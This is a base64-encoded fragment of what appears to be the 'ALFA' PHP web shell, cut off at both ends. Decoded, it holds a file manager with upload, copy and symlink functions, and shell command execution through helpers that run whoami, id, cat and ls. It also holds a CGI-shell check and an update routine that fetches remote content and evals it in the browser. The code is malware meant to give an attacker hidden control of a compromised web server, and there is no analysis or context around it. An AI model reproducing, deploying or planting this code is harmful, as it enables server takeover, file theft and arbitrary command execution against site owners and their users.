WlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlPSQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJjaChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJhbGZhLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlyaWdodCksdC5oYXNPd25Qcm9wZXJ0eSgic29sZXZpc2libGUiKSYmKCQoImFsZmFfc29sZXZpc2libGUiKS5pbm5lckhUTUw9dC5zb2xldmlzaWJsZSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5hbGZhX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNyIpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25sb2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWRlcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJjaGVja2NnaSIpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9ZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmFsZmFDaGVja1VybEhhc2goKX0sYWxmYUNoZWNrVXJsSGFzaCgpLGFsZmFnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGFsZmFJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sITEpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVnaW4iLGUub25sb2FkPWZ1bmN0aW9uKCl7YWxmYUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGFsZmFJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBhbGZhV2hpY2goJHApIHsKJHBhdGggPSBhbGZhRXgoJ3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiBzdHJsZW4oJHBhdGgpOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWxmYVNpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBhbGZhUGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOwplbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2zigIsnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy3igIsnOwplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2TigIsnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2PigIsnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOwplbHNlICRpID0gJ3XigIsnOwokaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdz4oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDgwMCkgPyAnU+KAiycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAnc+KAiycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA0MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3TigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdU4oCLJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gYWxmYVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7CiRjbGFzcyA9ICIiOwokbnVtID0gIiI7CiRodW1hbiA9ICIiOwppZigkaXNiYXNoKXsKJGNsYXNzID0gJGZbImNsYXNzIl07CiRudW0gPSAkZlsibnVtIl07CiRodW1hbiA9ICRmWyJodW1hbiJdOwp9ZWxzZXsKJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGYpKSwtNCk7CiRodW1hbiA9IGFsZmFQZXJtcyhAZmlsZXBlcm1zKCRmKSk7CmlmKCFAaXNfcmVhZGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiRjbGFzcyA9ICJtYWluX3doaXRlX3Blcm0iOwplbHNlCiRjbGFzcyA9ICJtYWluX2dyZWVuX3Blcm0iOwp9CnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoID0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkKJGZpbGVzW10gPSAkZmlsZW5hbWU7CnJldHVybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiByZUFycmF5RmlsZXMoJGZpbGVfcG9zdCl7CiRmaWxlX2FyeSA9IGFycmF5KCk7CiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsKJGZpbGVfa2V5cyA9IGFycmF5X2tleXMoJGZpbGVfcG9zdCk7CmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsKZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7CiRmaWxlX2FyeVskaV1bJGtleV0gPSAkZmlsZV9wb3N0WyRrZXldWyRpXTsKfQp9CnJldHVybiAkZmlsZV9hcnk7Cn0KZnVuY3Rpb24gX2FsZmFfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsKCWlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmKHN0cmxlbihhbGZhRXgoIndob2FtaSIsZmFsc2UsJGNnaSkpPjApewoJCSRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfYWxmYV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsKCSRwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsKCWlmKCRwaHBzeW0pewoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsKCX1lbHNlewoJCWFsZmFFeCgibG4gLXMgJyIuYWRkc2xhc2hlcygkdGFyZ2V0KS4iJyAnIi5hZGRzbGFzaGVzKCRsaW5rKS4iJyIpOwoJfQp9CmZ1bmN0aW9uIF9hbGZhX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsKCQlyZXR1cm4gdHJ1ZTsKCX1lbHNlewoJCWlmKHN0cmxlbihhbGZhRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gX2FsZmFfZmlsZSgkZmlsZSwkY2dpPXRydWUpewoJJGFycmF5ID0gQGZpbGUoJGZpbGUpOwoJaWYoISRhcnJheSl7CgkJaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsKCQkJJGRhdGEgPSBhbGZhRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7CgkJCWlmKHN0cmxlbigkZGF0YSk+MCl7CgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7CgkJCX1lbHNlewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfWVsc2V7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9ZWxzZXsKCQlyZXR1cm4gJGFycmF5OwoJfQp9CmZ1bmN0aW9uIF9hbGZhX2lzX3dyaXRhYmxlKCRmaWxlKXsKCSRjaGVjayA9IGZhbHNlOwoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsKCWlmKCEkY2hlY2spewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgLXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOwoJCQlpZigkY2hlY2sgPT0gInllcyIpewoJCQkJJGNoZWNrID0gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkY2hlY2sgPSBmYWxzZTsKCQkJfQoJCX0KCX0KCXJldHVybiAkY2hlY2s7Cn0KZnVuY3Rpb24gX2FsZmFfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CgkkY2hlY2sgPSBmYWxzZTsKCSRjaGVjayA9IEBpc19kaXIoJGRpcik7CglpZigkbW9kZSA9PSAiLWUiKXsKCQkkY2hlY2sgPSBAaXNfZmlsZSgkZGlyKTsKCX0KCWlmKCEkY2hlY2spewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7CgkJCWlmKCRjaGVjayA9PSAieWVzIil7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9Cgl9CglyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9hbGZhX2xvYWRfYWNlX29wdGlvbnMoJGJhc2UpewoJcmV0dXJuICc8c3Bhbj5UaGVtZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIgYWNlLXRoZW1lLXNlbGVjdG9yIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJhbGZhQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwndGhlbWVcJyk7Ij48b3B0aW9uIHZhbHVlPSJ0ZXJtaW5hbCIgc2VsZWN0ZWQ+dGVybWluYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbWJpYW5jZSI+YW1iaWFuY2U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaGFvcyI+Y2hhb3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaHJvbWUiPmNocm9tZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNsb3VkcyI+Y2xvdWRzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzX21pZG5pZ2h0Ij5jbG91ZHNfbWlkbmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjb2JhbHQiPmNvYmFsdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNyaW1zb25fZWRpdG9yIj5jcmltc29uX2VkaXRvcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRhd24iPmRhd248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJkcmFjdWxhIj5kcmFjdWxhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZHJlYW13ZWF2ZXIiPmRyZWFtd2VhdmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZWNsaXBzZSI+ZWNsaXBzZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdpdGh1YiI+Z2l0aHViPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ29iIj5nb2I8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJncnV2Ym94Ij5ncnV2Ym94PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaWRsZV9maW5nZXJzIj5pZGxlX2ZpbmdlcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpcGxhc3RpYyI+aXBsYXN0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrYXR6ZW5taWxjaCI+a2F0emVubWlsY2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrcl90aGVtZSI+a3JfdGhlbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrdXJvaXIiPmt1cm9pcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1lcmJpdm9yZSI+bWVyYml2b3JlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlX3NvZnQiPm1lcmJpdm9yZV9zb2Z0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibW9ub19pbmR1c3RyaWFsIj5tb25vX2luZHVzdHJpYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25va2FpIj5tb25va2FpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibm9yZF9kYXJrIj5ub3JkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwYXN0ZWxfb25fZGFyayI+cGFzdGVsX29uX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfZGFyayI+c29sYXJpemVkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfbGlnaHQiPnNvbGFyaXplZF9saWdodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbHNlcnZlciI+c3Fsc2VydmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGV4dG1hdGUiPnRleHRtYXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3ciPnRvbW9ycm93PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHQiPnRvbW9ycm93X25pZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYmx1ZSI+dG9tb3Jyb3dfbmlnaHRfYmx1ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRvbW9ycm93X25pZ2h0X2JyaWdodCI+dG9tb3Jyb3dfbmlnaHRfYnJpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiPnRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idHdpbGlnaHQiPnR3aWxpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idmlicmFudF9pbmsiPnZpYnJhbnRfaW5rPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieGNvZGUiPnhjb2RlPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4+TGFuZ3VhZ2U6IDwvc3Bhbj48c2VsZWN0IGNsYXNzPSJhY2UtY29udHJvbGVyIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJhbGZhQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwnbGFuZ1wnKTsiPjxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icHl0aG9uIj5weXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY19jcHAiPmMvYysrPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NoYXJwIj5jIzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InJ1YnkiPnJ1Ynk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG1sIj5odG1sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iamF2YXNjcmlwdCI+amF2YXNjcmlwdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNzcyI+Y3NzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieG1sIj54bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPnNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN3aWZ0Ij5zd2lmdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNoIj5iYXNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHVhIj5sdWE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3dlcnNoZWxsIj5wb3dlcnNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNwIj5qc3A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhIj5qYXZhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNvbiI+anNvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBsYWluX3RleHQiPnBsYWluX3RleHQ8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5Tb2Z0IFdyYXA6IDwvc3Bhbj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyYXBtb2RlIiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25DbGljaz0iYWxmYUFjZUNoYW5nZVdyYXBNb2RlKHRoaXMsXCcnLiRiYXNlLidcJyk7IiBjaGVja2VkPiB8IDxzcGFuPkZvbnQgU2l6ZTogPC9zcGFuPjxidXR0b24gY2xhc3M9ImFjZS1jb250cm9sZXIiIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImFsZmFBY2VDaGFuZ2VGb250U2l6ZShcJycuJGJhc2UuJ1wnLFwnK1wnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4rPC9idXR0b24+IHwgPGJ1dHRvbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25jbGljaz0iYWxmYUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsIFwnLVwnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4tPC9idXR0b24+IHwgJzsKfQpmdW5jdGlvbiBhbGZhRmlsZXNNYW4yKCl7CglhbGZhaGVhZCgpOwoJQWxmYU51bSg4LDksMTAsNyw2LDUsNCk7CgllY2hvICc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5faG9sZGVyXzEiIGNsYXNzPSJhamF4YXJlYSBmaWxlc21hbi1hY3RpdmUtY29udGVudCI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nOwoJYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihAaXNfZGlyKCRjLiRzKSl7CkBta2RpcigkZC4kcyk7CiRoID0gQG9wZW5kaXIoJGMuJHMpOwp3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzTWFuKCl7CmlmKCFlbXB0eSAoJF9DT09LSUVbJ2FsZmFfZiddKSkKJF9DT09LSUVbJ2FsZmFfZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydhbGZhX2YnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsKc3dpdGNoKCRfUE9TVFsnYWxmYTEnXSl7CmNhc2UgJ3VwbG9hZEZpbGUnOgokbW92ZV9jbWRfZmlsZSA9IGZhbHNlOwokYWxmYV9jYW5ydW5jbWQgPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOwp9CmlmKF9hbGZhX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewokZmlsZXMgPSByZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsKJHJldF9maWxlcyA9IGFycmF5KCk7CmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKaWYoJG1vdmVfY21kX2ZpbGUmJiRhbGZhX2NhbnJ1bmNtZCl7CglhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlWyd0bXBfbmFtZSddKS4iJyA+ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRmaWxlWyduYW1lJ10pLiInIik7Cn1lbHNlewoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7CgkJJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlWyduYW1lJ10pKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsKCQkkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOwoJCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcig